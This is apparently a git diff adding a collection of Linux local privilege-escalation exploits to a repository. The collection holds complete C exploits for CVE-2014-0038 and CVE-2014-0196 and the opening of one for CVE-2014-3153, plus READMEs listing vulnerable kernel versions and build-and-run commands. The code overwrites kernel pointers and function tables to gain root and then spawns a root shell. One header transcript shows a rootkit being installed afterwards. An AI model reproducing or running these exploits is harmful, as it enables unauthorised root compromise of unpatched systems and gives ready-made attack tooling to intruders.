if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
|
||||
offset = off32;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
if (int_n == 4) {
|
||||
// shit, let's try 0x80 if the kernel is compiled with
|
||||
// CONFIG_IA32_EMULATION
|
||||
int_n = 0x80 - 1;
|
||||
}
|
||||
}
|
||||
out:
|
||||
assert(offset);
|
||||
printf("Using int = %d with offset = %d\n", int_n, offset);
|
||||
|
||||
for (j = 0; j < 3; j++) {
|
||||
needle = AB(j+1);
|
||||
assert(p = memmem(code, 1024, &needle, 8));
|
||||
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
|
||||
}
|
||||
trigger(offset);
|
||||
switch (int_n) {
|
||||
case 3:
|
||||
asm volatile("int $0x03");
|
||||
break;
|
||||
case 4:
|
||||
asm volatile("int $0x04");
|
||||
break;
|
||||
case 0x80:
|
||||
asm volatile("int $0x80");
|
||||
}
|
||||
|
||||
assert(!setuid(0));
|
||||
return execl("/bin/bash", "-sh", NULL);
|
||||
}
|
Binary file not shown.
After Width: | Height: | Size: 73 KiB |
199
98-Linux提权/2014/CVE-2014-0038/31346.c
Normal file
199
98-Linux提权/2014/CVE-2014-0038/31346.c
Normal file
@ -0,0 +1,199 @@
|
||||
/*
|
||||
* Local root exploit for CVE-2014-0038.
|
||||
*
|
||||
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
|
||||
*
|
||||
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
|
||||
* passed from userspace.
|
||||
*
|
||||
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
|
||||
* if the original byte at that address is known it can be overwritten
|
||||
* with known data.
|
||||
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
|
||||
*
|
||||
* Restrictions: The first long at the passed address (tv_sec) has to be positive
|
||||
* and the second long (tv_nsec) has to be smaller than 1000000000.
|
||||
*
|
||||
* Overview: Target the release function pointer of the ptmx_fops structure located in
|
||||
* non initialized (and thus writable) kernel memory. Zero out the three most
|
||||
* significant bytes and thus turn it into a pointer to an address mappable in
|
||||
* user space.
|
||||
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
|
||||
* is valid).
|
||||
* Open /dev/ptmx, close it and enjoy.
|
||||
*
|
||||
* Not very beautiful but should be fairly reliable if symbols can be resolved.
|
||||
*
|
||||
* Tested on Ubuntu 13.10
|
||||
*
|
||||
* gcc timeoutpwn.c -o pwn && ./pwn
|
||||
*
|
||||
* Written by saelo
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
|
||||
#define BUFSIZE 200
|
||||
#define PAYLOADSIZE 0x2000
|
||||
#define FOPS_RELEASE_OFFSET 13*8
|
||||
|
||||
/*
|
||||
* Adapt these addresses for your need.
|
||||
* see /boot/System.map* or /proc/kallsyms
|
||||
* These are the offsets from ubuntu 3.11.0-12-generic.
|
||||
*/
|
||||
#define PTMX_FOPS 0xffffffff81fb30c0LL
|
||||
#define TTY_RELEASE 0xffffffff8142fec0LL
|
||||
#define COMMIT_CREDS 0xffffffff8108ad40LL
|
||||
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
/*
|
||||
* Match signature of int release(struct inode*, struct file*).
|
||||
*
|
||||
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
|
||||
*/
|
||||
int __attribute__((regparm(3)))
|
||||
kernel_payload(void* foo, void* bar)
|
||||
{
|
||||
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
||||
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
||||
|
||||
*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Write a zero to the byte at then given address.
|
||||
* Only works if the current value is 0xff.
|
||||
*/
|
||||
void zero_out(long addr)
|
||||
{
|
||||
int sockfd, retval, port, pid, i;
|
||||
struct sockaddr_in sa;
|
||||
char buf[BUFSIZE];
|
||||
struct mmsghdr msgs;
|
||||
struct iovec iovecs;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
port = 1024 + (rand() % (0x10000 - 1024));
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&msgs, 0, sizeof(msgs));
|
||||
iovecs.iov_base = buf;
|
||||
iovecs.iov_len = BUFSIZE;
|
||||
msgs.msg_hdr.msg_iov = &iovecs;
|
||||
msgs.msg_hdr.msg_iovlen = 1;
|
||||
|
||||
/*
|
||||
* start a seperate process to send a udp message after 255 seconds so the syscall returns,
|
||||
* but not after updating the timout struct and writing the remaining time into it.
|
||||
* 0xff - 255 seconds = 0x00
|
||||
*/
|
||||
printf("clearing byte at 0x%lx\n", addr);
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
memset(buf, 0x41, BUFSIZE);
|
||||
|
||||
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
|
||||
perror("socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
printf("waiting 255 seconds...\n");
|
||||
for (i = 0; i < 255; i++) {
|
||||
if (i % 10 == 0)
|
||||
printf("%is/255s\n", i);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
printf("waking up parent...\n");
|
||||
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
|
||||
exit(EXIT_SUCCESS);
|
||||
} else if (pid > 0) {
|
||||
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
|
||||
if (retval == -1) {
|
||||
printf("address can't be written to, not a valid timespec struct\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
waitpid(pid, 0, 0);
|
||||
printf("byte zeroed out\n");
|
||||
} else {
|
||||
perror("fork()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
long code, target;
|
||||
int pwn;
|
||||
|
||||
/* Prepare payload... */
|
||||
printf("preparing payload buffer...\n");
|
||||
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
|
||||
memset((void*)code, 0x90, PAYLOADSIZE);
|
||||
code += PAYLOADSIZE - 1024;
|
||||
memcpy((void*)code, &kernel_payload, 1024);
|
||||
|
||||
/*
|
||||
* Now clear the three most significant bytes of the fops pointer
|
||||
* to the release function.
|
||||
* This will make it point into the memory region mapped above.
|
||||
*/
|
||||
printf("changing kernel pointer to point into controlled buffer...\n");
|
||||
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
|
||||
zero_out(target + 7);
|
||||
zero_out(target + 6);
|
||||
zero_out(target + 5);
|
||||
|
||||
/* ... and trigger. */
|
||||
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
|
||||
pwn = open("/dev/ptmx", 'r');
|
||||
close(pwn);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("failed to get root :(\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got root, enjoy :)\n");
|
||||
return execl("/bin/bash", "-sh", NULL);
|
||||
}
|
225
98-Linux提权/2014/CVE-2014-0038/CVE-2014-0038.c
Normal file
225
98-Linux提权/2014/CVE-2014-0038/CVE-2014-0038.c
Normal file
@ -0,0 +1,225 @@
|
||||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
|
||||
takes about 13 minutes to run because timeout->tv_sec is decremented
|
||||
once per second and 0xff*3 is 765.
|
||||
|
||||
some things you could do while waiting:
|
||||
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
||||
* brew some coffee
|
||||
* stare at the countdown giggly with anticipation
|
||||
|
||||
could probably whack the high bits of some pointer with nanoseconds,
|
||||
but that would require a bunch of nulls before the pointer and then
|
||||
reading an oops from dmesg which isn't that elegant.
|
||||
|
||||
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
||||
|
||||
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
||||
anyway..
|
||||
|
||||
same principle will work on 32bit but I didn't really find any major
|
||||
distros shipping with CONFIG_X86_X32=y
|
||||
|
||||
user@ubuntu:~$ u**** -a
|
||||
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
||||
user@ubuntu:~$ ./recvmmsg
|
||||
byte 3 / 3.. ~0 secs left.
|
||||
w00p w00p!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# sh phalanx-2.6b-x86_64.sh
|
||||
unpacking..
|
||||
|
||||
:)=
|
||||
|
||||
greets to my homeboys kaliman, beist, capsl & all of #social
|
||||
|
||||
Sat Feb 1 22:15:19 CET 2014
|
||||
% rebel %
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/uts****.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct uts**** u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
u****(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_**** = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
|
||||
fprintf(stderr,"\n");
|
||||
|
||||
trigger();
|
||||
}
|
23
98-Linux提权/2014/CVE-2014-0038/README.md
Normal file
23
98-Linux提权/2014/CVE-2014-0038/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2014-0038
|
||||
|
||||
CVE-2014-0038
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-0038](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0038)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/31347/)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/31346/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc timeoutpwn.c -o pwn && ./pwn
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 13.10 - Linux ubuntu 3.11.0-12-generic #19-Ubuntu x86_64
|
||||
|
||||
|
BIN
98-Linux提权/2014/CVE-2014-0038/timeoutpwn64
Normal file
BIN
98-Linux提权/2014/CVE-2014-0038/timeoutpwn64
Normal file
Binary file not shown.
22
98-Linux提权/2014/CVE-2014-0196/README.md
Normal file
22
98-Linux提权/2014/CVE-2014-0196/README.md
Normal file
@ -0,0 +1,22 @@
|
||||
# CVE-2014-0196
|
||||
|
||||
CVE-2014-0196
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-0196](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0196)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/33516/)
|
||||
## Kernels
|
||||
```
|
||||
2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc cve-2014-0196-md.c -lutil -lpthread
|
||||
$ ./a.out
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [cve-2014-0196-md.c](https://dl.packetstormsecurity.net/1405-exploits/cve-2014-0196-md.c)
|
||||
|
222
98-Linux提权/2014/CVE-2014-0196/cve-2014-0196.c
Normal file
222
98-Linux提权/2014/CVE-2014-0196/cve-2014-0196.c
Normal file
@ -0,0 +1,222 @@
|
||||
/*
|
||||
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
|
||||
* condition
|
||||
*
|
||||
* Slightly-less-than-POC privilege escalation exploit
|
||||
* For kernels >= v3.14-rc1
|
||||
*
|
||||
* Matthew Daley <mattd@bugfuzz.com>
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc cve-2014-0196-md.c -lutil -lpthread
|
||||
* $ ./a.out
|
||||
* [+] Resolving symbols
|
||||
* [+] Resolved commit_creds: 0xffffffff81056694
|
||||
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
|
||||
* [+] Doing once-off allocations
|
||||
* [+] Attempting to overflow into a tty_struct...............
|
||||
* [+] Got it :)
|
||||
* # id
|
||||
* uid=0(root) gid=0(root) groups=0(root)
|
||||
*
|
||||
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
|
||||
* chance that the overflow will go off the end of a slab. This does not
|
||||
* necessarily lead to an immediate kernel crash, but you should be prepared
|
||||
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
|
||||
* avoidable by reading /proc/slabinfo on systems where it is still available
|
||||
* to unprivileged users.
|
||||
*
|
||||
* Caveat: The vulnerability should be exploitable all the way from
|
||||
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
|
||||
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
|
||||
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
|
||||
* exploit relies on.
|
||||
*
|
||||
* Thanks to Jon Oberheide for his help on exploitation technique.
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <pty.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <termios.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define TTY_MAGIC 0x5401
|
||||
|
||||
#define ONEOFF_ALLOCS 200
|
||||
#define RUN_ALLOCS 30
|
||||
|
||||
struct device;
|
||||
struct tty_driver;
|
||||
struct tty_operations;
|
||||
|
||||
typedef struct {
|
||||
int counter;
|
||||
} atomic_t;
|
||||
|
||||
struct kref {
|
||||
atomic_t refcount;
|
||||
};
|
||||
|
||||
struct tty_struct_header {
|
||||
int magic;
|
||||
struct kref kref;
|
||||
struct device *dev;
|
||||
struct tty_driver *driver;
|
||||
const struct tty_operations *ops;
|
||||
} overwrite;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
|
||||
|
||||
int master_fd, slave_fd;
|
||||
char buf[1024] = {0};
|
||||
commit_creds_fn commit_creds;
|
||||
prepare_kernel_cred_fn prepare_kernel_cred;
|
||||
|
||||
int payload(void) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_symbol(char *target_name) {
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char name[256];
|
||||
int ret = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", name);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!strcmp(name, target_name)) {
|
||||
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
|
||||
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[-] Couldn't resolve \"%s\"\n", name);
|
||||
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *overwrite_thread_fn(void *p) {
|
||||
write(slave_fd, buf, 511);
|
||||
|
||||
write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
|
||||
write(slave_fd, &overwrite, sizeof(overwrite));
|
||||
}
|
||||
|
||||
int main() {
|
||||
char scratch[1024] = {0};
|
||||
void *tty_operations[64];
|
||||
int i, temp_fd_1, temp_fd_2;
|
||||
|
||||
for (i = 0; i < 64; ++i)
|
||||
tty_operations[i] = payload;
|
||||
|
||||
overwrite.magic = TTY_MAGIC;
|
||||
overwrite.kref.refcount.counter = 0x1337;
|
||||
overwrite.dev = (struct device *)scratch;
|
||||
overwrite.driver = (struct tty_driver *)scratch;
|
||||
overwrite.ops = (struct tty_operations *)tty_operations;
|
||||
|
||||
puts("[+] Resolving symbols");
|
||||
|
||||
commit_creds = (commit_creds_fn)get_symbol("commit_creds");
|
||||
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
|
||||
if (!commit_creds || !prepare_kernel_cred)
|
||||
return 1;
|
||||
|
||||
puts("[+] Doing once-off allocations");
|
||||
|
||||
for (i = 0; i < ONEOFF_ALLOCS; ++i)
|
||||
if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
|
||||
puts("[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] Attempting to overflow into a tty_struct...");
|
||||
fflush(stdout);
|
||||
|
||||
for (i = 0; ; ++i) {
|
||||
struct termios t;
|
||||
int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
|
||||
pthread_t overwrite_thread;
|
||||
|
||||
if (!(i & 0xfff)) {
|
||||
putchar('.');
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
|
||||
puts("\n[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (j = 0; j < RUN_ALLOCS; ++j)
|
||||
if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
|
||||
puts("\n[-] pty creation failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
close(fds[RUN_ALLOCS / 2]);
|
||||
close(fds2[RUN_ALLOCS / 2]);
|
||||
|
||||
write(slave_fd, buf, 1);
|
||||
|
||||
tcgetattr(master_fd, &t);
|
||||
t.c_oflag &= ~OPOST;
|
||||
t.c_lflag |= ECHO;
|
||||
tcsetattr(master_fd, TCSANOW, &t);
|
||||
|
||||
if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
|
||||
puts("\n[-] Overwrite thread creation failed");
|
||||
return 1;
|
||||
}
|
||||
write(master_fd, "A", 1);
|
||||
pthread_join(overwrite_thread, NULL);
|
||||
|
||||
for (j = 0; j < RUN_ALLOCS; ++j) {
|
||||
if (j == RUN_ALLOCS / 2)
|
||||
continue;
|
||||
|
||||
ioctl(fds[j], 0xdeadbeef);
|
||||
ioctl(fds2[j], 0xdeadbeef);
|
||||
|
||||
close(fds[j]);
|
||||
close(fds2[j]);
|
||||
}
|
||||
|
||||
ioctl(master_fd, 0xdeadbeef);
|
||||
ioctl(slave_fd, 0xdeadbeef);
|
||||
|
||||
close(master_fd);
|
||||
close(slave_fd);
|
||||
|
||||
if (!setresuid(0, 0, 0)) {
|
||||
setresgid(0, 0, 0);
|
||||
|
||||
puts("\n[+] Got it :)");
|
||||
execl("/bin/bash", "/bin/bash", NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
701
98-Linux提权/2014/CVE-2014-3153/35370.c
Normal file
701
98-Linux提权/2014/CVE-2014-3153/35370.c
Normal file
@ -0,0 +1,701 @@
|
||||
/*
|
||||
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
|
||||
* By Kaiqu Chen ( kaiquchen@163.com )
|
||||
* Based on libfutex and the expoilt for Android by GeoHot.
|
||||
*
|
||||
* Usage:
|
||||
* $gcc exploit.c -o exploit -lpthread
|
||||
* $./exploit
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdbool.h>
|
||||
#include <pthread.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/resource.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/tcp.h>
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
#define USER_PRIO_BASE 120
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
#define SIGNAL_HACK_KERNEL 12
|
||||
#define SIGNAL_THREAD_EXIT 10
|
||||
|
||||
#define OFFSET_PID 0x4A4
|
||||
#define OFFSET_REAL_PARENT 0x4B8
|
||||
#define OFFSET_CRED 0x668
|
||||
|
||||
#define SIZEOF_CRED 160
|
||||
#define SIZEOF_TASK_STRUCT 2912
|
||||
#define OFFSET_ADDR_LIMIT 0x20
|
||||
|
||||
#define PRIO_LIST_OFFSET 8
|
||||
#define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
|
||||
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
|
||||
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
|
||||
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
|
||||
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
|
||||
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
|
||||
